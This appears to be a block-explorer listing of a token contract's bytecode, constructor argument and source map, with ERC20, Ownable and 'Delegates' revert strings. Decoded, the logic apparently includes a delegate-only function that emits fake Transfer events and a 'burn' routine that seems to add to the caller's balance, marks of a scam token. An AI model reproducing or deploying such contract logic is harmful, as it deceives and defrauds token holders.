117d0868287016116ad565b92505060406117e1868287016116e3565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126118105761180f6117eb565b5b8235905067ffffffffffffffff81111561182d5761182c6117f0565b5b602083019150836020820283011115611849576118486117f5565b5b9250929050565b6000806000604084860312156118695761186861165a565b5b600084013567ffffffffffffffff8111156118875761188661165f565b5b611893868287016117fa565b935093505060206118a6868287016116e3565b9150509250925092565b600060ff82169050919050565b6118c6816118b0565b82525050565b60006020820190506118e160008301846118bd565b92915050565b6000602082840312156118fd576118fc61165a565b5b600061190b848285016116e3565b91505092915050565b61191d81611684565b82525050565b60006020820190506119386000830184611914565b92915050565b6000602082840312156119545761195361165a565b5b6000611962848285016116ad565b91505092915050565b600080604083850312156119825761198161165a565b5b6000611990858286016116ad565b92505060206119a1858286016116ad565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806119f257607f821691505b602082108103611a0557611a046119ab565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611a676028836115b3565b9150611a7282611a0b565b604082019050919050565b60006020820190508181036000830152611a9681611a5a565b9050919050565b7f44656c6567617465733a2063616c6c6572206973206e6f74207468652064656c60008201527f6567617465000000000000000000000000000000000000000000000000000000602082015250565b6000611af96025836115b3565b9150611b0482611a9d565b604082019050919050565b60006020820190508181036000830152611b2881611aec565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611b98826116c2565b9150611ba3836116c2565b9250828201905080821115611bbb57611bba611b5e565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611bf76020836115b3565b9150611c0282611bc1565b602082019050919050565b60006020820190508181036000830152611c2681611bea565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611c896025836115b3565b9150611c9482611c2d565b604082019050919050565b60006020820190508181036000830152611cb881611c7c565b9050919050565b7f4e6f7420656e6f75676820436f696e20746f20756e777261702e000000000000600082015250565b6000611cf5601a836115b3565b9150611d0082611cbf565b602082019050919050565b60006020820190508181036000830152611d2481611ce8565b9050919050565b6000604082019050611d406000830185611914565b611d4d602083018461176e565b9392505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611db06024836115b3565b9150611dbb82611d54565b604082019050919050565b60006020820190508181036000830152611ddf81611da3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611e426022836115b3565b9150611e4d82611de6565b604082019050919050565b60006020820190508181036000830152611e7181611e35565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611ed46025836115b3565b9150611edf82611e78565b604082019050919050565b60006020820190508181036000830152611f0381611ec7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611f666023836115b3565b9150611f7182611f0a565b604082019050919050565b60006020820190508181036000830152611f9581611f59565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611ff86026836115b3565b915061200382611f9c565b604082019050919050565b6000602082019050818103600083015261202781611feb565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600061208a6021836115b3565b91506120958261202e565b604082019050919050565b600060208201905081810360008301526120b98161207d565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b600061211c6022836115b3565b9150612127826120c0565b604082019050919050565b6000602082019050818103600083015261214b8161210f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061218c826116c2565b9150612197836116c2565b9250826121a7576121a6612152565b5b828204905092915050565b60006060820190506121c76000830186611914565b6121d46020830185611914565b6121e1604083018461176e565b949350505050565b6121f281611738565b81146121fd57600080fd5b50565b60008151905061220f816121e9565b92915050565b60006020828403121561222b5761222a61165a565b5b600061223984828501612200565b9150509291505056fea2646970667358221220be1cadbc87a269a79612f32332eb73b18b39d9ad8cdbf65337675e21020416f464736f6c634300081700330000000000000000000000008c092921f5c1f763fd13c23c416aa25c1b5a6706

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101215760003560e01c80635c19a95c116100ad578063a457c2d711610071578063a457c2d7146102f8578063a9059cbb14610328578063c2b7bbb614610358578063dd62ed3e14610374578063de0e9a3e146103a457610121565b80635c19a95c1461026657806370a0823114610282578063715018a6146102b25780638da5cb5b146102bc57806395d89b41146102da57610121565b806326ededb8116100f457806326ededb8146101c2578063313ce567146101de57806339509351146101fc57806342966c681461022c57806349bd5a5e1461024857610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461017457806323b872dd14610192575b600080fd5b61012e6103c0565b60405161013b9190611638565b60405180910390f35b61015e600480360381019061015991906116f8565b610452565b60405161016b9190611753565b60405180910390f35b61017c610470565b604051610189919061177d565b60405180910390f35b6101ac60048036038101906101a79190611798565b61047a565b6040516101b99190611753565b60405180910390f35b6101dc60048036038101906101d79190611850565b610572565b005b6101e66106d8565b6040516101f391906118cc565b60405180910390f35b610216600480360381019061021191906116f8565b6106ef565b6040516102239190611753565b60405180910390f35b610246600480360381019061024191906118e7565b61079b565b005b610250610846565b60405161025d9190611923565b60405180910390f35b610280600480360381019061027b919061193e565b61086c565b005b61029c6004803603810190610297919061193e565b610987565b6040516102a9919061177d565b60405180910390f35b6102ba6109d0565b005b6102c4610a58565b6040516102d19190611923565b60405180910390f35b6102e2610a81565b6040516102ef9190611638565b60405180910390f35b610312600480360381019061030d91906116f8565b610b13565b60405161031f9190611753565b60405180910390f35b610342600480360381019061033d91906116f8565b610bfe565b60405161034f9190611753565b60405180910390f35b610372600480360381019061036d919061193e565b610c1c565b005b61038e6004803603810190610389919061196b565b610cdc565b60405161039b919061177d565b60405180910390f35b6103be60048036038101906103b991906118e7565b610d63565b005b6060600780546103cf906119da565b80601f01602080910402602001604051908101604052809291908181526020018280546103fb906119da565b80156104485780601f1061041d57610100808354040283529160200191610448565b820191906000526020600020905b81548152906001019060200180831161042b57829003601f168201915b5050505050905090565b600061046661045f610e40565b8484610e48565b6001905092915050565b6000600654905090565b6000610487848484611011565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d2610e40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610552576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054990611a7d565b60405180910390fd5b6105668561055e610e40565b858403610e48565b60019150509392505050565b61057a610e40565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610609576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060090611b0f565b60405180910390fd5b60005b838390508110156106d25783838281811061062a57610629611b2f565b5b905060200201602081019061063f919061193e565b73ffffffffffffffffffffffffffffffffffffffff16600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106bd919061177d565b60405180910390a3808060010191505061060c565b50505050565b6000600960009054906101000a900460ff16905090565b60006107916106fc610e40565b84846005600061070a610e40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461078c9190611b8d565b610e48565b6001905092915050565b6107a3610e40565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610832576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082990611b0f565b60405180910390fd5b61084361083d610e40565b82611288565b50565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610874610e40565b73ffffffffffffffffffffffffffffffffffffffff16610892610a58565b73ffffffffffffffffffffffffffffffffffffffff16146108e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108df90611c0d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461094357600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109d8610e40565b73ffffffffffffffffffffffffffffffffffffffff166109f6610a58565b73ffffffffffffffffffffffffffffffffffffffff1614610a4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390611c0d565b60405180910390fd5b610a56600061142f565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610a90906119da565b80601f0160208091040260200160405190810160405280929190818152602001828054610abc906119da565b8015610b095780601f10610ade57610100808354040283529160200191610b09565b820191906000526020600020905b815481529060010190602001808311610aec57829003601f168201915b5050505050905090565b60008060056000610b22610e40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610bdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd690611c9f565b60405180910390fd5b610bf3610bea610e40565b85858403610e48565b600191505092915050565b6000610c12610c0b610e40565b8484611011565b6001905092915050565b610c24610e40565b73ffffffffffffffffffffffffffffffffffffffff16610c42610a58565b73ffffffffffffffffffffffffffffffffffffffff1614610c98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8f90611c0d565b60405180910390fd5b80600960016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b80610d6d33610987565b1015610dae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da590611d0b565b60405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610e0b929190611d2b565b600060405180830381600087803b158015610e2557600080fd5b505af1158015610e39573d6000803e3d6000fd5b5050505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610eb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eae90611dc6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1d90611e58565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611004919061177d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611080576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107790611eea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e690611f7c565b60405180910390fd5b6110fa3084836114f3565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611181576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111789061200e565b60405180910390fd5b818103600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112169190611b8d565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161127a919061177d565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ee906120a0565b60405180910390fd5b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181111561137e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137590612132565b60405180910390fd5b818101600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611422919061177d565b60405180910390a3505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd83856103e8856115419190612181565b6040518463ffffffff1660e01b815260040161155f939291906121b2565b6020604051808303816000875af115801561157e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a29190612215565b50505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156115e25780820151818401526020810190506115c7565b60008484015250505050565b6000601f19601f8301169050919050565b600061160a826115a8565b61161481856115b3565b93506116248185602086016115c4565b61162d816115ee565b840191505092915050565b6000602082019050818103600083015261165281846115ff565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061168f82611664565b9050919050565b61169f81611684565b81146116aa57600080fd5b50565b6000813590506116bc81611696565b92915050565b6000819050919050565b6116d5816116c2565b81146116e057600080fd5b50565b6000813590506116f2816116cc565b92915050565b6000806040838503121561170f5761170e61165a565b5b600061171d858286016116ad565b925050602061172e858286016116e3565b9150509250929050565b60008115159050919050565b61174d81611738565b82525050565b60006020820190506117686000830184611744565b92915050565b611777816116c2565b82525050565b6000602082019050611792600083018461176e565b92915050565b6000806000606084860312156117b1576117b061165a565b5b60006117bf868287016116ad565b93505060206117d0868287016116ad565b92505060406117e1868287016116e3565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126118105761180f6117eb565b5b8235905067ffffffffffffffff81111561182d5761182c6117f0565b5b602083019150836020820283011115611849576118486117f5565b5b9250929050565b6000806000604084860312156118695761186861165a565b5b600084013567ffffffffffffffff8111156118875761188661165f565b5b611893868287016117fa565b935093505060206118a6868287016116e3565b9150509250925092565b600060ff82169050919050565b6118c6816118b0565b82525050565b60006020820190506118e160008301846118bd565b92915050565b6000602082840312156118fd576118fc61165a565b5b600061190b848285016116e3565b91505092915050565b61191d81611684565b82525050565b60006020820190506119386000830184611914565b92915050565b6000602082840312156119545761195361165a565b5b6000611962848285016116ad565b91505092915050565b600080604083850312156119825761198161165a565b5b6000611990858286016116ad565b92505060206119a1858286016116ad565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806119f257607f821691505b602082108103611a0557611a046119ab565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611a676028836115b3565b9150611a7282611a0b565b604082019050919050565b60006020820190508181036000830152611a9681611a5a565b9050919050565b7f44656c6567617465733a2063616c6c6572206973206e6f74207468652064656c60008201527f6567617465000000000000000000000000000000000000000000000000000000602082015250565b6000611af96025836115b3565b9150611b0482611a9d565b604082019050919050565b60006020820190508181036000830152611b2881611aec565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611b98826116c2565b9150611ba3836116c2565b9250828201905080821115611bbb57611bba611b5e565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611bf76020836115b3565b9150611c0282611bc1565b602082019050919050565b60006020820190508181036000830152611c2681611bea565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611c896025836115b3565b9150611c9482611c2d565b604082019050919050565b60006020820190508181036000830152611cb881611c7c565b9050919050565b7f4e6f7420656e6f75676820436f696e20746f20756e777261702e000000000000600082015250565b6000611cf5601a836115b3565b9150611d0082611cbf565b602082019050919050565b60006020820190508181036000830152611d2481611ce8565b9050919050565b6000604082019050611d406000830185611914565b611d4d602083018461176e565b9392505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611db06024836115b3565b9150611dbb82611d54565b604082019050919050565b60006020820190508181036000830152611ddf81611da3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611e426022836115b3565b9150611e4d82611de6565b604082019050919050565b60006020820190508181036000830152611e7181611e35565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611ed46025836115b3565b9150611edf82611e78565b604082019050919050565b60006020820190508181036000830152611f0381611ec7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611f666023836115b3565b9150611f7182611f0a565b604082019050919050565b60006020820190508181036000830152611f9581611f59565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611ff86026836115b3565b915061200382611f9c565b604082019050919050565b6000602082019050818103600083015261202781611feb565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600061208a6021836115b3565b91506120958261202e565b604082019050919050565b600060208201905081810360008301526120b98161207d565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b600061211c6022836115b3565b9150612127826120c0565b604082019050919050565b6000602082019050818103600083015261214b8161210f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061218c826116c2565b9150612197836116c2565b9250826121a7576121a6612152565b5b828204905092915050565b60006060820190506121c76000830186611914565b6121d46020830185611914565b6121e1604083018461176e565b949350505050565b6121f281611738565b81146121fd57600080fd5b50565b60008151905061220f816121e9565b92915050565b60006020828403121561222b5761222a61165a565b5b600061223984828501612200565b9150509291505056fea2646970667358221220be1cadbc87a269a79612f32332eb73b18b39d9ad8cdbf65337675e21020416f464736f6c63430008170033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000008c092921f5c1f763fd13c23c416aa25c1b5a6706

-----Decoded View---------------
Arg [0] : coin (address): 0x8C092921F5c1f763fd13c23C416aa25C1b5a6706

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000008c092921f5c1f763fd13c23c416aa25c1b5a6706


Deployed Bytecode Sourcemap

9824:286:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1933:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5366:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2850:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4803:432;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9486:226;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2495:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6612:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4248:105;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1495:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1953:138:2;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2658:127:0;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2434:103:2;;;:::i;:::-;;1357:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2144:104:0;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7290:387;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3751:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9720:97;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3989:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3377:177;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1933:100;1987:13;2020:5;2013:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1933:100;:::o;5366:169::-;5449:4;5466:39;5475:12;:10;:12::i;:::-;5489:7;5498:6;5466:8;:39::i;:::-;5523:4;5516:11;;5366:169;;;;:::o;2850:108::-;2911:7;2938:12;;2931:19;;2850:108;:::o;4803:432::-;4910:4;4927:36;4937:6;4945:9;4956:6;4927:9;:36::i;:::-;4974:24;5001:11;:19;5013:6;5001:19;;;;;;;;;;;;;;;:33;5021:12;:10;:12::i;:::-;5001:33;;;;;;;;;;;;;;;;4974:60;;5073:6;5053:16;:26;;5045:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;5147:57;5156:6;5164:12;:10;:12::i;:::-;5197:6;5178:16;:25;5147:8;:57::i;:::-;5223:4;5216:11;;;4803:432;;;;;:::o;9486:226::-;1817:12:2;:10;:12::i;:::-;1804:25;;:9;;;;;;;;;;;:25;;;1796:75;;;;;;;;;;;;:::i;:::-;;;;;;;;;9586:9:0::1;9581:124;9605:10;;:17;;9601:1;:21;9581:124;;;9673:10;;9684:1;9673:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;9649:44;;9658:13;;;;;;;;;;;9649:44;;;9688:4;9649:44;;;;;;:::i;:::-;;;;;;;;9624:3;;;;;;;9581:124;;;;9486:226:::0;;;:::o;2495:100::-;2553:5;2578:9;;;;;;;;;;;2571:16;;2495:100;:::o;6612:215::-;6700:4;6717:80;6726:12;:10;:12::i;:::-;6740:7;6786:10;6749:11;:25;6761:12;:10;:12::i;:::-;6749:25;;;;;;;;;;;;;;;:34;6775:7;6749:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;6717:8;:80::i;:::-;6815:4;6808:11;;6612:215;;;;:::o;4248:105::-;1817:12:2;:10;:12::i;:::-;1804:25;;:9;;;;;;;;;;;:25;;;1796:75;;;;;;;;;;;;:::i;:::-;;;;;;;;;4318:27:0::1;4324:12;:10;:12::i;:::-;4338:6;4318:5;:27::i;:::-;4248:105:::0;:::o;1495:28::-;;;;;;;;;;;;;:::o;1953:138:2:-;1588:12;:10;:12::i;:::-;1577:23;;:7;:5;:7::i;:::-;:23;;;1569:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2049:1:::1;2028:23;;:9;;;;;;;;;;;:23;;;2019:33;;;::::0;::::1;;2075:8;2063:9;;:20;;;;;;;;;;;;;;;;;;1953:138:::0;:::o;2658:127:0:-;2732:7;2759:9;:18;2769:7;2759:18;;;;;;;;;;;;;;;;2752:25;;2658:127;;;:::o;2434:103:2:-;1588:12;:10;:12::i;:::-;1577:23;;:7;:5;:7::i;:::-;:23;;;1569:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2499:30:::1;2526:1;2499:18;:30::i;:::-;2434:103::o:0;1357:87::-;1403:7;1430:6;;;;;;;;;;;1423:13;;1357:87;:::o;2144:104:0:-;2200:13;2233:7;2226:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2144:104;:::o;7290:387::-;7383:4;7400:24;7427:11;:25;7439:12;:10;:12::i;:::-;7427:25;;;;;;;;;;;;;;;:34;7453:7;7427:34;;;;;;;;;;;;;;;;7400:61;;7500:15;7480:16;:35;;7472:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;7579:67;7588:12;:10;:12::i;:::-;7602:7;7630:15;7611:16;:34;7579:8;:67::i;:::-;7665:4;7658:11;;;7290:387;;;;:::o;3751:175::-;3837:4;3854:42;3864:12;:10;:12::i;:::-;3878:9;3889:6;3854:9;:42::i;:::-;3914:4;3907:11;;3751:175;;;;:::o;9720:97::-;1588:12:2;:10;:12::i;:::-;1577:23;;:7;:5;:7::i;:::-;:23;;;1569:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9796:5:0::1;9780:13;;:21;;;;;;;;;;;;;;;;;;9720:97:::0;:::o;3989:151::-;4078:7;4105:11;:18;4117:5;4105:18;;;;;;;;;;;;;;;:27;4124:7;4105:27;;;;;;;;;;;;;;;;4098:34;;3989:151;;;;:::o;3377:177::-;3459:5;3434:21;3444:10;3434:9;:21::i;:::-;:30;;3426:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;3506:12;;;;;;;;;;;:21;;;3528:10;3540:5;3506:40;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3377:177;:::o;515:98:2:-;568:7;595:10;588:17;;515:98;:::o;9134:344:0:-;9253:1;9236:19;;:5;:19;;;9228:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9334:1;9315:21;;:7;:21;;;9307:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9416:6;9386:11;:18;9398:5;9386:18;;;;;;;;;;;;;;;:27;9405:7;9386:27;;;;;;;;;;;;;;;:36;;;;9454:7;9438:32;;9447:5;9438:32;;;9463:6;9438:32;;;;;;:::i;:::-;;;;;;;;9134:344;;;:::o;8135:603::-;8259:1;8241:20;;:6;:20;;;8233:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;8343:1;8322:23;;:9;:23;;;8314:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;8396:40;8415:4;8421:6;8429;8396:10;:40::i;:::-;8447:21;8471:9;:17;8481:6;8471:17;;;;;;;;;;;;;;;;8447:41;;8524:6;8507:13;:23;;8499:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;8631:6;8615:13;:22;8595:9;:17;8605:6;8595:17;;;;;;;;;;;;;;;:42;;;;8673:6;8649:9;:20;8659:9;8649:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;8712:9;8695:35;;8704:6;8695:35;;;8723:6;8695:35;;;;;;:::i;:::-;;;;;;;;8222:516;8135:603;;;:::o;5836:407::-;5939:1;5920:21;;:7;:21;;;5912:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5990:22;6015:9;:18;6025:7;6015:18;;;;;;;;;;;;;;;;5990:43;;6070:6;6052:14;:24;;6044:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;6175:6;6158:14;:23;6137:9;:18;6147:7;6137:18;;;;;;;;;;;;;;;:44;;;;6224:1;6198:37;;6207:7;6198:37;;;6228:6;6198:37;;;;;;:::i;:::-;;;;;;;;5901:342;5836:407;;:::o;2697:191:2:-;2771:16;2790:6;;;;;;;;;;;2771:25;;2816:8;2807:6;;:17;;;;;;;;;;;;;;;;;;2871:8;2840:40;;2861:8;2840:40;;;;;;;;;;;;2760:128;2697:191;:::o;3099:154:0:-;3189:12;;;;;;;;;;;:25;;;3215:7;3224;3240:4;3233:6;:11;;;;:::i;:::-;3189:56;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;